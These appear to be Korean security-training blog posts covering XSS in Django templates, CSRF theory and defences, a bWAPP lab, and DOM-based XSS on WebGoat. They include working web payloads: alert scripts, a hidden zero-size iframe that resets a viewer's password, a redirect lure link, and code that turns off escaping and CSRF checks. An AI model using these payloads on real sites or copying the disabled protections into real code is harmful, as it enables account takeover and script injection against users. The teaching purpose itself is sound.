<p><img src="https://velog.velcdn.com/images/en_geon/post/8c3cd032-89c7-49d0-b4b5-e9cb9932f18a/image.png" alt=""></p>
<p>DB에 저장된 내용을 XSS 공역에 안전하도록 출력해 주는 부분이다. DTL에서 실행할 수 있는 코드를 안전하게 HTML 인코딩해서 출력해 준다.</p>
<br>

<h3 id="5-태그-동작"><strong>(5) 태그 동작</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3a56ebd6-65fa-44e1-9aa4-d1d3b83ac798/image.png" alt=""></p>
<p>위와 같이 등록했는데 태그가 동작하지 않는다. 그런데 DB에 있는 내용을 그대로 출력해야 할 경우도 있다.</p>
<p>특정 부분에 HTML 태그가 동작하도록 하려면 autoescape off 설정을 추가해 주어야 한다.</p>
<br>

<p><strong>autoescape off</strong></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/58c597a7-8d01-4164-9184-ed51425e86bd/image.png" alt=""></p>
<p> autoescape off 설정을 한 후 답변을 보면 태그가 작동하는 것을 볼 수 있다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/69687680-bb00-4827-9e9d-65e715c4d19d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2fc4631a-d942-4897-91d8-b134f99ae445/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c43b0d2f-9eb7-423c-babf-6eddd53456a4/image.png" alt=""></p>
<p>태그가 작동하는 것을 확인했다면, 스크립트 코드가 작동하는 것이므로 쿠키값을 얻을 수 있다.</p>
<br>

<p><strong>safe 필터</strong></p>
<p>autoescape off 설정과 같은 기능을 한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e18d11c4-b842-4d45-961f-fb213f71e524/image.png" alt=""></p>
<br>

<p><strong>mark_safe 함수</strong></p>
<ul>
<li>pybo\views.py 수정</li>
</ul>
<pre><code class="language-py">def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = &quot;&lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;&quot;

    context = { &#39;question&#39;: question, &#39;msg&#39;: msg }

    return render(request, &#39;pybo/question_detail.html&#39;, context)</code></pre>
<p>실행 가능한 스크립트 코드를 템플릿으로 전달하는 코드를 추가한다.</p>
<br>

<ul>
<li>templates\pybo\question_detali.html 수정</li>
</ul>
<pre><code class="language-html">&lt;h5 class=&quot;border-bottom my-3 py-2&quot;&gt;
        {{ question.answer_set.count }}개의 답변이 있습니다. ({{ msg }})
&lt;/h5&gt;</code></pre>
<p>전달된 msg를 출력하는 코드를 추가한다.</p>
<ul>
<li>확인</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8d85348d-11c6-4ce7-b4fb-72da9ac9b200/image.png" alt=""></p>
<p>DTL에 의해서 태그가 HTML 인코딩되어 단순 문자열로 출력된다.</p>
<p>이 스크립트를 이스케이프 처리 하지 않도록 지정할 수 있다.</p>
<br>

<ul>
<li>pybo\views.py 수정</li>
</ul>
<pre><code class="language-py">from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone
import subprocess
from django.utils.safestring import mark_safe    # 추가

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39;: question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)


def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = &quot;&lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;&quot;
    msg = mark_safe(msg)    # mark_safe 함수 추가

    context = { &#39;question&#39;: question, &#39;msg&#39;: msg }

    return render(request, &#39;pybo/question_detail.html&#39;, context)</code></pre>
<ul>
<li>확인</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/99270392-84eb-4292-901a-604115320613/image.png" alt=""></p>
<p>스크립트 코드가 실행되는 것을 확인할 수 있다.</p>
<br>

<ul>
<li>결론</li>
</ul>
<p>Django에서는 DTL이 HTML 엔티티를 자동으로 HTML 인코딩 처리하여 단순 문자열로 출력되도록 하고 있으나, </p>
<p>mark_safe() 함수, autoescape off 설정, safe 필터 등을 사용하는 경우 해당 기능을 무효화할 수 있으므로 유의해서 사용해야 한다.</p>
<br>

<h1 id="3-csrf크로스-사이트-요청-위조"><strong>3. CSRF(크로스 사이트 요청 위조)</strong></h1>
<blockquote>
<p><strong>요청을 전달받은 서버가 요청의 절차와 주체를 검증하지 않고 요청을 처리했을 때 발생</strong></p>
</blockquote>
<ul>
<li>희생자의 권한으로 요청이 처리되는 문제 발생</li>
<li>자동 회원가입, 자동 글쓰기, 광고 배너 클릭 등에 악용</li>
</ul>
<br>

<h2 id="1-동작-원리"><strong>1) 동작 원리</strong></h2>
<p>만약 패스워드 변경 처리 페이지가 있을 때 아래와 같이 기능을 구현했다고 가정한다.</p>
<ol>
<li>로그인(인증) 여부 확인<ul>
<li>로그인해야만 패스워드 변경 가능</li>
</ul>
</li>
<li>처리에 필요한 사용자 입력값이 전달되었는지 확인<ul>
<li>패스워드 변경을 위한 사용자가 입력한 새 패스워드가 전달되었는지 확인</li>
</ul>
</li>
<li>처리에 필요한 시스템이 가지고 있는 값을 추출<ul>
<li>패스워드 변경을 위한 변경 대상 정보(사용자 ID)를 세션으로부터 추출</li>
</ul>
</li>
<li>요청을 처리<ul>
<li>로그인한 사용자의 패스워드를 요청 파라미터로 전달된 값으로 변경</li>
</ul>
</li>
</ol>
<br>

<p>위와 같은 기능을 구현한 회원제 게시판에 공격자가 게시글을 남긴다면 어떻게 될까?</p>
<p>많은 사람이 클릭할 수 있도록 유도해 제목을 정하고, 내용도 사람들이 흥미를 느끼는 내용으로 공격자가 글을 게시할 때 공격자는 게시글에 HTML 태그를 포함해 작성한다.</p>
<br>

<pre><code class="language-html">&lt;iframe src=&quot;ChangePasswordProc?newpw=1234&amp;newpwre=1234&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;</code></pre>
<p>iframe은 한 페이지 안에 다른 HTML 문서를 삽입할 때 사용하는 태그다. 눈에 보이면 안 되기 때문에 크기를 0으로 설정한다. 그러면 게시글은 보이지만 공격자가 추가한 태그의 문서는 보이지 않게 된다.</p>
<p>해당 게시물을 보는 모든 사용자의 패스워드가 1234로 변경된다.</p>
<br>

<h3 id="1-csrf-취약점-존재"><strong>(1) CSRF 취약점 존재</strong></h3>
<p>정상적인 절차를 확인하지 않고 요청을 처리해서 공격자에 의해 패스워드가 변경되는 것이다. 정상적인 절차 확인은 패스워드 변경을 원하는 사용자가 패스워드 변경을 눌러서 패스워드 변경 페이지로 들어왔는지, 공격자가 작성한 자동화된 요청인지를 확인하는 과정인데 확인하지 않았다. </p>
<p>패스워드 변경이 주요 기능임에도 불구하고 인증 여부 및 요청 처리에 필요한 값 전달 여부만 확인하고 요청을 처리(사용자가 요청한 것인지 자동화된 코드가 요청한 것인지 확인하지 않고 요청을 처리)하는 문제가 있다.</p>
<br>

<h2 id="2-방어-기법"><strong>2) 방어 기법</strong></h2>
<h3 id="1-텍스트-기반의-토큰을-이용한-요청-절차-검증"><strong>(1) 텍스트 기반의 토큰을 이용한 요청 절차 검증</strong></h3>
<ol>
<li>신청 페이지가 호출되었을 때 서버에서 임의의 값을 생성하고 세션에 저장</li>
<li>사용자 화면에 전달</li>
<li>서버가 가지고 있는 값과 사용자 요청을 통해서 전달된 값을 비교<ul>
<li>일치하는 경우에만 정상적인 절차를 통한 요청으로 확인하고 처리</li>
</ul>
</li>
</ol>
<br>

<pre><code class="language-html">&lt;input type=&quot;hidden&quot; value=&quot;abcd&quot; /&gt;</code></pre>
<p>서버에서 임의의 값을 생성하고 사용자 화면에 전달하는데. 보이지 않게 하기 위해 hidden으로 전달한다.</p>
<p>abcd는 텍스트 기반의 토큰으로 토큰 전달 과정에 사용자가 관여하지 않는다. 이 토큰은 사용자가 변경 신청 페이지에서 변경 신청을 요청할 때 전달되고, 변경 처리 페이지에서 값을 확인하고 처리한다. </p>
<p>즉, 이 텍스트 기반의 토큰은 변경 신청 페이지에서 먼저 가지고 있고, 이 토큰을 서버에 전달하게 되는 것이다.</p>
<p>이때 공격자가 변경 신청 페이지를 먼저 호출해 토큰을 추출한 후 변경 처리 페이지를 호출하는 방식을 사용한다면 공격이 가능해진다.</p>
<br>

<h3 id="2-captcha"><strong>(2) CAPTCHA</strong></h3>
<blockquote>
<p><strong>기계는 인식할 수 없으나 사람은 쉽게 인식할 수 있는 텍스트, 이미지를 통해 사람과 기계를 구별하는 프로그램</strong></p>
</blockquote>
<ul>
<li>텍스트 기반 토큰의 자동화 처리가 가능한 문제점 해결</li>
<li>요청 과정에 사용자의 입력 추가</li>
<li>자동화된 요청을 방지하기 위한 수단</li>
<li>사용자와의 인터렉션을 통한 요청</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/60c73664-aa70-4984-a785-c2f52f28e433/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a005bdc2-f211-4f9f-91a0-3372e0171988/image.png" alt=""></p>
<ul>
<li>reCAPTCHA<ul>
<li>CAPTCHA 이미지가 복잡해 사람도 이해하기 어려워지는 문제점 해결</li>
</ul>
</li>
</ul>
<br>

<h3 id="3-재인증"><strong>(3) 재인증</strong></h3>
<ul>
<li>패스워드 변경할 때 재인증을 위해서 현재 패스워드도 함께 입력</li>
</ul>
<br>

<p><strong>인증 방법</strong></p>
<ol>
<li>지식<ul>
<li>패스워드</li>
</ul>
</li>
<li>소유<ul>
<li>주민등록증</li>
<li>인증서</li>
<li>스마트폰</li>
<li>OTP</li>
</ul>
</li>
<li>특징<ul>
<li>필기체 서명</li>
<li>정맥</li>
<li>지문</li>
<li>홍채</li>
</ul>
</li>
</ol>
<p>생물학적 특징을 이용한 방법을 바이오 인증, 2개 이상의 이중 방법을 결합한 인증을 Multi factor 인증, 2개의 인증 방법을 결합한 인증을 Tow factor 인증이라고 한다.</p>
<br>

<h1 id="4-bee-box-실습"><strong>4. Bee box 실습</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6d23d188-5593-4978-811b-38aebbbaac0e/image.png" alt=""></p>
<p>로그인한 사용자의 패스워드를 변경을 신청하는 페이지다.</p>
<br>

<h2 id="1-개발자도구-이용-내용-분석"><strong>1) 개발자도구 이용 내용 분석</strong></h2>
<pre><code class="language-html">&lt;h1&gt;CSRF (Change Password)&lt;/h1&gt;
    &lt;p&gt;Change your password.&lt;/p&gt;
    &lt;form action=&quot;/bWAPP/csrf_1.php&quot; method=&quot;GET&quot;&gt;

        &lt;p&gt;&lt;label for=&quot;password_new&quot;&gt;New password:&lt;/label&gt;&lt;br&gt;
        &lt;input type=&quot;password&quot; id=&quot;password_new&quot; name=&quot;password_new&quot;&gt;&lt;/p&gt;

        &lt;p&gt;&lt;label for=&quot;password_conf&quot;&gt;Re-type new password:&lt;/label&gt;&lt;br&gt;
        &lt;input type=&quot;password&quot; id=&quot;password_conf&quot; name=&quot;password_conf&quot;&gt;&lt;/p&gt;  

        &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;change&quot;&gt;Change&lt;/button&gt;   

    &lt;/form&gt;
    &lt;br&gt;</code></pre>
<p>새 패스워드로 1234를 입력하면 아래와 같은 형태의 요청이 발생한다.</p>
<p>http:/<k/>/bee.box/bWAPP/csrf_1.php?password_new=1234&amp;password_conf=1234&amp;action=change </p>
<br>

<h2 id="2-공격-코드-삽입"><strong>2) 공격 코드 삽입</strong></h2>
<p>위 요청이 자동으로 발생할 수 있도록 게시판에 공격 코드를 삽입한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/53f553ae-85d8-49dc-b473-02c92fb689af/image.png" alt=""></p>
<p>Submit 후 로그아웃하고 다시 로그인 하면 원래 패스워드였던 bug로 안 되고 1234로 로그인이 가능한 것을 확인할 수 있다. 이는 csrf_1.php에서 요청 절차와 요청 주체를 확인하지 않고 전달된 파라미터에 의존해서 요청을 처리했기 때문에 발생한 문제다.</p>
<br>

<h2 id="3-취약한-코드-확인"><strong>3) 취약한 코드 확인</strong></h2>
<blockquote>
<p><strong>sudo gedit /var/www/bWAPP/csrf_1.php</strong></p>
</blockquote>
<p>코드가 긴 관계로 밑에 주석과 함께 추가한다.</p>
<br>

<pre><code class="language-php">&lt;?php
include(&quot;security.php&quot;);
include(&quot;security_level_check.php&quot;);
include(&quot;selections.php&quot;);
include(&quot;connect_i.php&quot;);

$message = &quot;&quot;;

                // 요청 처리에 필요한 값이 요청 파라미터로 전달되었는지 확인
if(isset($_REQUEST[&quot;action&quot;]) &amp;&amp; isset($_REQUEST[&quot;password_new&quot;]) &amp;&amp; isset($_REQUEST[&quot;password_conf&quot;]))
{
    $password_new = $_REQUEST[&quot;password_new&quot;];
    $password_conf = $_REQUEST[&quot;password_conf&quot;];

    if($password_new == &quot;&quot;)
    {
        $message = &quot;&lt;font color=\&quot;red\&quot;&gt;Please enter a new password...&lt;/font&gt;&quot;;       
    }
    else
    {
        if($password_new != $password_conf)
        {
            $message = &quot;&lt;font color=\&quot;red\&quot;&gt;The passwords don&#39;t match!&lt;/font&gt;&quot;;       
        }
        else            
        {
            $login = $_SESSION[&quot;login&quot;];  // 요청 처리에 필요한 값을 서버의 세션으로부터 추출

            $password_new = mysqli_real_escape_string($link, $password_new); // SQLi 취약점 방어
            $password_new = hash(&quot;sha1&quot;, $password_new, false);  // 패스워드를 암호화(해쉬)

            if($_COOKIE[&quot;security_level&quot;] != &quot;1&quot; &amp;&amp; $_COOKIE[&quot;security_level&quot;] != &quot;2&quot;) 
            {

                $sql = &quot;UPDATE users SET password = &#39;&quot; . $password_new . &quot;&#39; WHERE login = &#39;&quot; . $login . &quot;&#39;&quot;;
                // 로그인한 사용자의 패스워드를 요청 파라미터의 값으로 변경 
                // Debugging
                // echo $sql;      

                $recordset = $link-&gt;query($sql);

                if(!$recordset)
                {
                    die(&quot;Connect Error: &quot; . $link-&gt;error);
                }

                $message = &quot;&lt;font color=\&quot;green\&quot;&gt;The password has been changed!&lt;/font&gt;&quot;;
            }
            else        // 보안 등급이 1 또는 2인 경우 
            {
                if(isset($_REQUEST[&quot;password_curr&quot;])) // 현재 패스워드가 전달되었는지 확인
                {                              
                    $password_curr = $_REQUEST[&quot;password_curr&quot;];
                    $password_curr = mysqli_real_escape_string($link, $password_curr);
                    $password_curr = hash(&quot;sha1&quot;, $password_curr, false);                

                    $sql = &quot;SELECT password FROM users WHERE login = &#39;&quot; . $login . &quot;&#39; AND password = &#39;&quot; . $password_curr . &quot;&#39;&quot;;    
                    // 로그인한 사용자의 아이디의 패스워드가 요청 파라미터로 전달한 현재 패스워드가 일치하는 데이트를 조회
                    // Debugging
                    // echo $sql;    

                    $recordset = $link-&gt;query($sql);             

                    if(!$recordset)
                    {

                        die(&quot;Connect Error: &quot; . $link-&gt;error);

                    }

                    // Debugging                
                    // echo &quot;&lt;br /&gt;Affected rows: &quot;;                
                    // printf($link-&gt;affected_rows);

                    $row = $recordset-&gt;fetch_object();   
                    if($row)
                    {

                        // Debugging
                        // echo &quot;&lt;br /&gt;Row: &quot;;
                        // print_r($row);
            // 일치하는 데이터가 존재하면 패스워드를 변경 → 재인증을 통해서 패스워드를 변경
                        $sql = &quot;UPDATE users SET password = &#39;&quot; . $password_new . &quot;&#39; WHERE login = &#39;&quot; . $login . &quot;&#39;&quot;;

                        // Debugging
                        // echo $sql;

                        $recordset = $link-&gt;query($sql);

                        if(!$recordset)
                        {

                            die(&quot;Connect Error: &quot; . $link-&gt;error);

                        }

                        // Debugging              
                        // echo &quot;&lt;br /&gt;Affected rows: &quot;;         
                        // printf($link-&gt;affected_rows);

                        $message = &quot;&lt;font color=\&quot;green\&quot;&gt;The password has been changed!&lt;/font&gt;&quot;;

                    }

                    else
                    {
                    // 일치하는 데이터가 없으면 오류 처리 
                        $message = &quot;&lt;font color=\&quot;red\&quot;&gt;The current password is not valid!&lt;/font&gt;&quot;;

                    }

                }

            }

        } 

    }

}</code></pre>
<br>

<h1 id="5-django-csrf-토큰-발행"><strong>5. Django CSRF 토큰 발행</strong></h1>
<blockquote>
<p> <strong>프레임워크에서 CSRF 토큰 발행 및 검증 처리</strong></p>
</blockquote>
<br>

<h2 id="1-configsettingspy"><strong>1) config\settings.py</strong></h2>
<blockquote>
<p><strong>MIDDLEWARE에 CSRF 항목 활성화</strong></p>
</blockquote>
<pre><code class="language-py">MIDDLEWARE = [
    &#39;django.middleware.security.SecurityMiddleware&#39;,
    &#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,
    &#39;django.middleware.common.CommonMiddleware&#39;,
    &#39;django.middleware.csrf.CsrfViewMiddleware&#39;,    
    &#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,
    &#39;django.contrib.messages.middleware.MessageMiddleware&#39;,
    &#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;,
]</code></pre>
<p>중간에 CSRF가 들어가 있는 것을 확인할 수 있다. 전역적으로 CSRF 차단 기능을 활성화하는 기능이다.</p>
<br>

<h2 id="2--csrf_token-"><strong>2) {% csrf_token %}</strong></h2>
<blockquote>
<p><strong>템플릿에 [% csrf_token %}을 추가함으로 차단 기능 활성화</strong></p>
</blockquote>
<pre><code class="language-html">{% extends &#39;base.html&#39; %}

{% block content %}
&lt;div class=&quot;container&quot;&gt;
    &lt;h5 class=&quot;my-3 border-bottom pb-2&quot;&gt;질문 등록&lt;/h5&gt;
    &lt;form method=&quot;post&quot; class=&quot;post-form my-3&quot;&gt;
        {% csrf_token %}
        {{ form.as_p }}
        &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;저장하기&lt;/button&gt;
    &lt;/form&gt;
&lt;/div&gt;
{% endblock %}</code></pre>
<br>

<h2 id="3-토큰-확인"><strong>3) 토큰 확인</strong></h2>
<blockquote>
<p><strong>페이지를 요청할 때마다 토큰이 재발행되고 토큰값을 변경해서 요청하면 오류 발생</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/af8361ec-00bb-4bd7-97d8-e2ab9ee7d62c/image.png" alt=""></p>
<br>

<h2 id="4-csrf-토큰-검증-비활성화"><strong>4) CSRF 토큰 검증 비활성화</strong></h2>
<blockquote>
<p><strong>CSRF 취약점이 발생할 수 있으므로 유의</strong></p>
</blockquote>
<br>

<h3 id="1-전역적으로-csrf-토큰-검증-비활성화"><strong>(1) 전역적으로 CSRF 토큰 검증 비활성화</strong></h3>
<pre><code class="language-py">MIDDLEWARE = [
    &#39;django.middleware.security.SecurityMiddleware&#39;,
    &#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,
    &#39;django.middleware.common.CommonMiddleware&#39;,
#   &#39;django.middleware.csrf.CsrfViewMiddleware&#39;,
    &#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,
    &#39;django.contrib.messages.middleware.MessageMiddleware&#39;,
    &#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;,
]</code></pre>
<br>

<h3 id="2-부분적으로-csrf-토큰-검증-비활성화"><strong>(2) 부분적으로 CSRF 토큰 검증 비활성화</strong></h3>
<pre><code class="language-py">from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone
import subprocess
from django.views.decorators.csrf import csrf_exempt # 추가

# 함수 생략

@csrf_exempt                    # 추가
def question_create(request):
    if request.method == &#39;GET&#39;:
        form = QuestionForm()
        return render(request, &#39;pybo/question_form.html&#39;, { &#39;form&#39;: form })
    elif request.method == &#39;POST&#39;:
        # POST 방식으로 전달된 요청인 경우, 요청 본문을 통해 전달된 입력값을 저장 
        form = QuestionForm(request.POST)
        if form.is_valid():
            question = form.save(commit=False)
            question.create_date = timezone.now()
            question.save()
            return redirect(&#39;pybo:index&#39;)</code></pre>
<p>views.py 함수에 @csrf_exempt 데코레이터를 추가하면 CSRF 토큰이 없거나 변조되어도 함수 처리가 가능해 지문 등록이 가능한 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Bee box, XSS]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-XSS</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-XSS</guid>
            <pubDate>Sat, 30 Mar 2024 07:16:09 GMT</pubDate>
            <description><![CDATA[<h1 id="1-크로스-사이트-스크립트xss--cross-site-scripting"><strong>1, 크로스 사이트 스크립트(XSS : Cross-Site Scripting)</strong></h1>
<blockquote>
<p><strong>공격자가 전달한 스크립트 코드가 사용자 브라우저를 통해 실행</strong></p>
</blockquote>
<br>

<h2 id="1-공격자가-전달한-스크립트-코드"><strong>1) 공격자가 전달한 스크립트 코드</strong></h2>
<ul>
<li>사용자에게 가짜 페이지를 제공하고 입력을 유도해서 사용자 정보를 탈취</li>
<li>사용자 브라우저 또는 PC에 저장된 정보를 탈취<ul>
<li>브라우저에 설치되어 있는 각종 플러그인의 취약점 활용</li>
</ul>
</li>
<li>사용자 PC의 제어권을 탈취해서 원격지에서 해당 PC를 제어<ul>
<li>BeEF</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-유형"><strong>2) 유형</strong></h2>
<h3 id="1-stored-xss저장-크로스-사이트-스크립트"><strong>(1) Stored XSS(저장 크로스 사이트 스크립트)</strong></h3>
<blockquote>
<p>공격자가 입력한 스크립트 코드가 취약한 <strong>서버에 저장</strong>되고, 사용자가 조회 시 저장된 스크립트 코드가 그대로 사용자 브라우저로 전달되어 실행</p>
</blockquote>
<br>

<p>공격자가 게시판이 글을 쓸 때 &lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;를 입력하면 저장 페이지로 전달되어 그대로 DB에 저장된다.</p>
<p>희생자가 게시판의 글을 조회하면 취약한 서버에 심어 놓은 스크립트 코드가 그대로 브라우저에 전달되고, 희생자 브라우저에서 실행되게 된다.</p>
<p>불특정 다수가 공격자가 심어 놓은 스크립트 코드가 들어있는 게시글을 볼 때마다 각자의 브라우저에서 실행되게 된다.</p>
<p>한 번 저장된 스크립트 코드는 다수의 사용자에게 지속해서 실행된다.</p>
<br>

<h3 id="2-reflective-xss반사-크로스-사이트-스크립트"><strong>(2) Reflective XSS(반사 크로스 사이트 스크립트)</strong></h3>
<blockquote>
<p><strong>입력값이 다음 화면 출력에 사용되는 경우, 입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 화면 출력에 사용하면 입력값으로 전달된 스크립트 코드가 사용자 브라우저에서 실행</strong></p>
</blockquote>
<br>

<p>ID 중복 체크를 할 때, abc를 입력하고 체크를 누르면 서버로 요청이 된다. 서버에서는 요청 파라미터로 전달된 ID 값 abc와 일치하는 값이 존재하는지 확인 후 반환한다.</p>
<p>이때, 입력자가 abc&lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt; 를 입력했다면, 서버에서는 SELECT * FROM members WHERE id = &#39;abc &lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;&#39;으로 일치하는 값을 찾는다. 이후 존재한다면 존재합니다. 아니면 존재 하지 않습니다. 와 같은 조회 결과를 반환한다. 결과를 반환할 때 어떤 것이 존재하는지 존재하지 않는지 알려주기 위해 서버는 입력받은 매개변수를 같이 반환한다. 즉, abc&lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;는 존재하지 않습니다. 라고, 반환하게 된다.</p>
<p>반환될 때 adc 옆에 있는 스크립트 코드가 사용자의 브라우저에서 실행되게 되는 것이다. 이와 같은 동작이 가능한 것을 확인한 공격자는 공격 문자열을 만들어 SMS, Email, 게시판 글쓰기 등으로 불특정 다수에게 전달할 수 있다.</p>
<p>XSS 취약점을 가지고 있는 페이지 주소에 스크립트가 포함된 문자열을 링크 태그로 묶어 많은 사람의 클릭을 유도하는 링크 제목으로 만들어 전달하게 된다. 예를 들어 아래와 같은 스크립트를 사용하게 된다. check.jsp는 XSS 취약점을 가지고 있는 페이지 주소를 뜻한다.</p>
<br>

<pre><code class="language-html">&lt;a href=&quot;check.jsp?abc&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;&quot;&gt;유도 제목&lt;/a&gt;</code></pre>
<br>

<p>일반적으로 링크 주소는 단축 URL과 같은 방법을 통해서 링크 내용(주소)을 확인할 수 없도록 변형해서 전달하기 때문에 알기 쉽지 않다. 해당 링크를 클릭하면 해당 브라우저에서 링크에 숨어 있던 스크립트 코드가 실행되게 된다.</p>
<br>

<h3 id="3-dom-based-xss"><strong>(3) DOM Based XSS</strong></h3>
<blockquote>
<p><strong>개발자가 작성한 스크립트 코드의 취약점을 이용한 공격</strong></p>
</blockquote>
<p>실습으로 알아본다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/00266ad0-83bc-42b1-b00d-59c69159aa34/image.png" alt=""></p>
<p>위 경로에 html 파일을 만들고 코드를 입력한다.</p>
<br>

<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;title&gt;Insert title here&lt;/title&gt;
&lt;script&gt;
    const hash = window.location.hash.slice(1)
    if (hash) {
        window.location.href = decodeURIComponent(hash)
    }
    window.addEventListener(&#39;hashchange&#39;, function() {
        window.location.href = decodeURIComponent(window.location.hash.slice(1));
    }); 
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;DOM Based XSS 공격&lt;/h1&gt;
    &lt;div&gt;
        &lt;a id=&quot;first&quot; href=&quot;#first&quot;&gt;First 바로가기&lt;/a&gt;
        &lt;a id=&quot;second&quot; href=&quot;#second&quot;&gt;Second 바로가기&lt;/a&gt;        
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<br>

<p>이 코드는 해시인데 주소 뒤에 #이 붙는 경우가 있다. # 뒤에는 id 값이 저장되는데, 같은 문서 안에서 #(3) DOM Based XSS로 된 링크가 있으면 id가 같은 값이 있는 곳으로 이동하기 때문에 책갈피 용도로 많이 사용한다.</p>
<p>window.location은 주소를 말하고, hash는 #을 말한다. # 다음에 나오는 글자를 slice하고 hash 변수에 넣는다.</p>
<p>만약 hash 변수가 있으면, 현재 주소에 hash 값을 URL decode 해서 넣는다.</p>
<p>addEventListerner는 이벤트를 등록하는 것이다. 사용자에게 이벤트를 받는 것이 아니고, 어떤 이벤트가 발생했을 때 그 이벤트에 대한 처리를 등록한다. </p>
<p>위 코드의 주소는 http:/<k/>/localhost:8080/WebGoat/message.html 인데, 이 주소만 입력했을 때는 message.html 페이지가 나오는데, 주소 뒤에 http:/<k/>/localhost:8080/WebGoat/message.html#first와 같이 #을 입력하면 # 뒤에 나오는 글자를 추출해서 주소를 http:/<k/>/localhost:8080/WebGoat/first로 바꾸고 리다이렉션을 하게 된다.</p>
<p>이때 first 페이지가 없으면 오류가 나는 것은 정상이다. first 페이지가 있어야 이동한다.</p>
<p>이 코드는 개발자가 만든 스크립트 코드다. 그냥 링크를 달고 보내줘도 되는데 굳이 스크립트를 사용해서 바꿔준다.</p>
<p>이때, http:/<k/>/host.pc:8080/WebGoat/message.html#http:/<k/>/<a href="http://www.naver.com">www.naver.com</a> 이렇게 입력하면 자동으로 네이버로 이동하게 된다. 여기서 네이버가 아니고 아래와 같이 링크 태그로 만든다면 공격자만 만든 페이지로 이동하게 된다.</p>
<br>

<pre><code class="language-html"> &lt;a href=&quot;http://host.pc:8080/WebGoat/message.html#공격자가만들어놓은페이지&quot;&gt; 꼭 보세요. &lt;/a&gt;</code></pre>
<br>

<p>여기서 중요한 것은 링크 주소는 누가 봐도 신뢰하고 안전한 사이트의 링크 주소로 만든다는 것이다. 링크에 마우스를 올려놓으면 링크의 주소가 나오는데 그 주소가 길면 뒤에는 잘려서 나오고 익숙한 앞 주소만 나오게 된다. 그래서 공격자가 만든 페이지를 같이 입력해도 사용자는 그 링크를 신뢰하고 안전한 사이트라고 믿고 클릭하게 되고, 그러면 신뢰한 사이트가 아니고 공격자가 만든 페이지로 이동하게 된다.</p>
<br>

<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;title&gt;Insert title here&lt;/title&gt;
&lt;script&gt;
    const hash = window.location.hash.slice(1)
    if (hash) {
        document.write(&quot;&lt;h1&gt;&quot; + decodeURIComponent(hash) + &quot;&lt;/h1&gt;&quot;);
    } else {
        document.write(&quot;&lt;h1&gt;메시지가 없습니다.&quot;)
    }
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt; 
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<br>

<p>위와 같은 코드가 있을 때 주소를 입력하면 정상적으로 나온다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d53fc1dc-1b6e-49ae-9f1e-2df3cf3422df/image.png" alt=""></p>
<p>하지만 공격자가 hash를 통해 출력 메시지를 바꿀 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/1703f5e8-156e-403a-bfa7-dfa31efa7b25/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/45c5f7d3-572b-49f7-acf3-abc8598afe49/image.png" alt=""></p>
<p>개발자가 만든 스크립트 코드를 통해서 공격자의 코드가 실행되는 것이다.</p>
<br>

